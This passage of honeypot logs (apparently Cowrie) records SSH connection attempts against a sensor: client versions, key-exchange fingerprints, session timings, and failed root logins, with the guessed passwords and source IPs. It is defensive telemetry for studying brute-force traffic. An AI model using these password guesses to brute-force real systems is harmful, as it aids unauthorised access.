@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:50.067312Z","src_ip":"110.164.193.196","session":"2c94015f672b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015!@#","message":"login attempt [root/unitedstates2015!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:50.932782Z","src_ip":"110.164.193.196","session":"2c94015f672b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:06:52.222447Z","src_ip":"110.164.193.196","session":"2c94015f672b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.234","src_port":43468,"dst_ip":"10.17.0.5","dst_port":22,"session":"59d1ea5aa3f2","protocol":"ssh","message":"New connection: 80.94.92.234:43468 (10.17.0.5:22) [session: 59d1ea5aa3f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:18.054423Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:18.160466Z","src_ip":"80.94.92.234","session":"59d1ea5aa3f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.27.12.122","src_port":59504,"dst_ip":"10.17.0.5","dst_port":22,"session":"d003ac5919f0","protocol":"ssh","message":"New connection: 125.27.12.122:59504 (10.17.0.5:22) [session: d003ac5919f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:20.561583Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:20.564921Z","src_ip":"125.27.12.122","session":"d003ac5919f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:20.826237Z","src_ip":"125.27.12.122","session":"d003ac5919f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015@","message":"login attempt [root/unitedstates2015@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:21.615395Z","src_ip":"125.27.12.122","session":"d003ac5919f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00096130371094,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:22.688879Z","src_ip":"107.6.151.170","session":"6e25fffee2e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:22.879137Z","src_ip":"125.27.12.122","session":"d003ac5919f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.166","src_port":37042,"dst_ip":"10.17.0.5","dst_port":22,"session":"94099e41ecad","protocol":"ssh","message":"New connection: 64.227.101.166:37042 (10.17.0.5:22) [session: 94099e41ecad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:49.345544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:49.348969Z","src_ip":"64.227.101.166","session":"94099e41ecad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:49.417308Z","src_ip":"64.227.101.166","session":"94099e41ecad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015@1","message":"login attempt [root/unitedstates2015@1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:49.623502Z","src_ip":"64.227.101.166","session":"94099e41ecad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:07:50.693830Z","src_ip":"64.227.101.166","session":"94099e41ecad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.50","src_port":35436,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9a8f21270e5","protocol":"ssh","message":"New connection: 45.156.87.50:35436 (10.17.0.5:22) [session: c9a8f21270e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:11.819504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.4","message":"Remote SSH version: SSH-2.0-libssh_0.11.4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:11.823209Z","src_ip":"45.156.87.50","session":"c9a8f21270e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:11.911007Z","src_ip":"45.156.87.50","session":"c9a8f21270e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"end123","message":"login attempt [root/end123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:12.203377Z","src_ip":"45.156.87.50","session":"c9a8f21270e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:13.331740Z","src_ip":"45.156.87.50","session":"c9a8f21270e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.1.75.59","src_port":57050,"dst_ip":"10.17.0.5","dst_port":22,"session":"2947de422e7c","protocol":"ssh","message":"New connection: 198.1.75.59:57050 (10.17.0.5:22) [session: 2947de422e7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:14.552833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:14.555501Z","src_ip":"198.1.75.59","session":"2947de422e7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:14.646084Z","src_ip":"198.1.75.59","session":"2947de422e7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M@nt@#S3cur3!","message":"login attempt [root/M@nt@#S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:14.913405Z","src_ip":"198.1.75.59","session":"2947de422e7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:16.004459Z","src_ip":"198.1.75.59","session":"2947de422e7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.154.74.205","src_port":34882,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e28d51b10e1","protocol":"ssh","message":"New connection: 122.154.74.205:34882 (10.17.0.5:22) [session: 0e28d51b10e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:19.472695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:19.476472Z","src_ip":"122.154.74.205","session":"0e28d51b10e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:19.719945Z","src_ip":"122.154.74.205","session":"0e28d51b10e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates2015@#","message":"login attempt [root/unitedstates2015@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:20.433586Z","src_ip":"122.154.74.205","session":"0e28d51b10e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:21.677294Z","src_ip":"122.154.74.205","session":"0e28d51b10e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":33048,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd9ed85d4b37","protocol":"ssh","message":"New connection: 103.27.238.116:33048 (10.17.0.5:22) [session: fd9ed85d4b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:28.738567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:28.742564Z","src_ip":"103.27.238.116","session":"fd9ed85d4b37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:29.013852Z","src_ip":"103.27.238.116","session":"fd9ed85d4b37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a147258369","message":"login attempt [root/a147258369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:29.831699Z","src_ip":"103.27.238.116","session":"fd9ed85d4b37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:31.105649Z","src_ip":"103.27.238.116","session":"fd9ed85d4b37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":36654,"dst_ip":"10.17.0.5","dst_port":22,"session":"54631da3482a","protocol":"ssh","message":"New connection: 103.172.78.219:36654 (10.17.0.5:22) [session: 54631da3482a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:43.746680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:43.750470Z","src_ip":"103.172.78.219","session":"54631da3482a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:44.027300Z","src_ip":"103.172.78.219","session":"54631da3482a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"16011982","message":"login attempt [root/16011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:44.845123Z","src_ip":"103.172.78.219","session":"54631da3482a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:46.119801Z","src_ip":"103.172.78.219","session":"54631da3482a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":49306,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3aa4d3a032b","protocol":"ssh","message":"New connection: 91.92.40.176:49306 (10.17.0.5:22) [session: f3aa4d3a032b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:48.611817Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T19:08:48.615007Z","src_ip":"91.92.40.176","session":"f3aa4d3a032b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","ar